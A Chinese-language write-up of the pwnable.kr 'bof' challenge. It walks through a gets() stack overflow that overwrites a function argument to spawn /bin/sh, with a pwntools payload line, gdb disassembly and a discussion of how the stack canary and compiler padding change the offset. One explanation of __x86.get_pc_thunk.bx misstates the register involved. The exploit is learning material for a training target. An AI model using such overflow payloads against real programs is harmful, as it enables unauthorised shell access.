Pwnable.kr學習——bof
雖然是一道比較簡單的棧溢位題目,但是第一次實際接觸棧溢位也花了不少力氣,理清不少問題。
bof
這道題一樣提供了原始碼
#include <stdio.h> #include <string.h> #include <stdlib.h> void func(int key){ char overflowme[32]; printf("overflow me : "); gets(overflowme);// smash me! if(key == 0xcafebabe){ system("/bin/sh"); } else{ printf("Nah..\n"); } } int main(int argc, char* argv[]){ func(0xdeadbeef); return 0; }
很容易看出漏洞成因自傲與gets()函式沒有對輸入長度進行判斷,導致溢位的存在從而可以覆蓋key的值。
根據函式呼叫棧的結構如下:
可以直接算出間距length
length = len(overflowme) + len(previous_ebp) + len(return_address)=32 + 4 + 4 = 40
用pwntools傳送
p.sendline("A"*40 + p32(0xcafebabe))
發現並不能成功,檢視網上的wp發現這道題的間距其實有52,但是根據函式呼叫棧直接計算應該是40才對
為什麼是52
gdb-peda$ disassemble func Dump of assembler code for function func: 0x5655562c <+0>:pushebp 0x5655562d <+1>:movebp,esp 0x5655562f <+3>:subesp,0x48 0x56555632 <+6>:moveax,gs:0x14 0x56555638 <+12>:movDWORD PTR [ebp-0xc],eax 0x5655563b <+15>:xoreax,eax 0x5655563d <+17>:movDWORD PTR [esp],0x5655578c 0x56555644 <+24>:call0xf7e5a360 <puts> 0x56555649 <+29>:leaeax,[ebp-0x2c] 0x5655564c <+32>:movDWORD PTR [esp],eax 0x5655564f <+35>:call0xf7e59ae0 <gets> 0x56555654 <+40>:cmpDWORD PTR [ebp+0x8],0xcafebabe//if(key == 0xcafebabe) 0x5655565b <+47>:jne0x5655566b <func+63> 0x5655565d <+49>:movDWORD PTR [esp],0x5655579b 0x56555664 <+56>:call0xf7e2fd10 <system> 0x56555669 <+61>:jmp0x56555677 <func+75> 0x5655566b <+63>:movDWORD PTR [esp],0x565557a3 0x56555672 <+70>:call0xf7e5a360 <puts> 0x56555677 <+75>:moveax,DWORD PTR [ebp-0xc] 0x5655567a <+78>:xoreax,DWORD PTR gs:0x14 0x56555681 <+85>:je0x56555688 <func+92> 0x56555683 <+87>:call0xf7efaee0 <__stack_chk_fail> 0x56555688 <+92>:leave 0x56555689 <+93>:ret End of assembler dump.
從彙編程式碼中可以看到程式碼執行過程中對棧所執行的操作,在if函式執行前,一共對棧進行了如下操作
0x5655562c <+0>:pushebp 0x56555638 <+12>:movDWORD PTR [ebp-0xc],eax 0x5655563d <+17>:movDWORD PTR [esp],0x5655578c 0x5655564c <+32>:movDWORD PTR [esp],eax
第一步操作,是將上個函式的棧頂壓棧存為當前函式的棧底,第四個操作,是將棧頂指標指向ebp-0x2c以進行gets操作
其中第三個操作中esp的值為ebp-0x48,在overflowme所在棧空間以下不用考慮,但是第二個操作直接對ebp-0xc進行賦值就顯得很奇怪,而且ebp-0x2c與ebp-0xc之間剛好隔了32個位元組,說明多出的12位元組就是來源於這裡
網上搜索後發現這十二個位元組來源於Canary防護機制,取了gs:0x14的值作為校驗值,與彙編中的語句吻合
0x56555632 <+6>:moveax,gs:0x14
用checksec語句檢視防護機制,發現Canary確實存在
gdb-peda$ checksec CANARY: ENABLED FORTIFY: disabled NX: ENABLED PIE: ENABLED RELRO: Partial
所以52位元組中多出的12位元組就是來源於Canary。
引申問題
換句話說,如果關閉Canary,那間隔應該剛好是40位元組。重新編譯bof,關閉棧保護
$ gcc -fno-stack-protector -m32 -g -o bof1 bof.c
對bof1進行溢位操作發現還是失敗,說明間隔仍然不是40位元組,這就與之前的猜測相違背了,檢視彙編程式碼有
gdb-peda$ disassemble func Dump of assembler code for function func: 0x565555ad <+0>:pushebp 0x565555ae <+1>:movebp,esp 0x565555b0 <+3>:pushebx 0x565555b1 <+4>:subesp,0x24 0x565555b4 <+7>:call0x565554b0 <__x86.get_pc_thunk.bx> 0x565555b9 <+12>:addebx,0x1a13 => 0x565555bf <+18>:subesp,0xc 0x565555c2 <+21>:leaeax,[ebx-0x18ec] 0x565555c8 <+27>:pusheax 0x565555c9 <+28>:call0x56555410 <printf@plt> 0x565555ce <+33>:addesp,0x10 0x565555d1 <+36>:subesp,0xc 0x565555d4 <+39>:leaeax,[ebp-0x28] 0x565555d7 <+42>:pusheax 0x565555d8 <+43>:call0x56555420 <gets@plt> 0x565555dd <+48>:addesp,0x10 0x565555e0 <+51>:cmpDWORD PTR [ebp+0x8],0xcafebabe 0x565555e7 <+58>:jne0x565555fd <func+80> 0x565555e9 <+60>:subesp,0xc 0x565555ec <+63>:leaeax,[ebx-0x18dd] 0x565555f2 <+69>:pusheax 0x565555f3 <+70>:call0x56555440 <system@plt> 0x565555f8 <+75>:addesp,0x10 0x565555fb <+78>:jmp0x5655560f <func+98> 0x565555fd <+80>:subesp,0xc 0x56555600 <+83>:leaeax,[ebx-0x18d5] 0x56555606 <+89>:pusheax 0x56555607 <+90>:call0x56555430 <puts@plt> 0x5655560c <+95>:addesp,0x10 0x5655560f <+98>:nop 0x56555610 <+99>:movebx,DWORD PTR [ebp-0x4] 0x56555613 <+102>:leave 0x56555614 <+103>:ret End of assembler dump.
直接計算間隔為0x30,比預估距離多了8位元組,在彙編程式碼可以發現,存入overflowme陣列之前,棧空間記憶體入了ebx,並呼叫了__x86.get_pc_thunk.bx函式,這個函式的作用就是把esp的值儲存在eax(PIC暫存器)中, 以便定址,因為32位下不支援直接訪問PC暫存器,所以需要這樣間接呼叫.
=> 0x565554b0 <__x86.get_pc_thunk.bx>:movebx,DWORD PTR [esp] 0x565554b3 <__x86.get_pc_thunk.bx+3>:ret
所以在編譯器的作用下,記憶體間距不一定可以按照理論情況直接進行推算,還是需要實際檢視才行。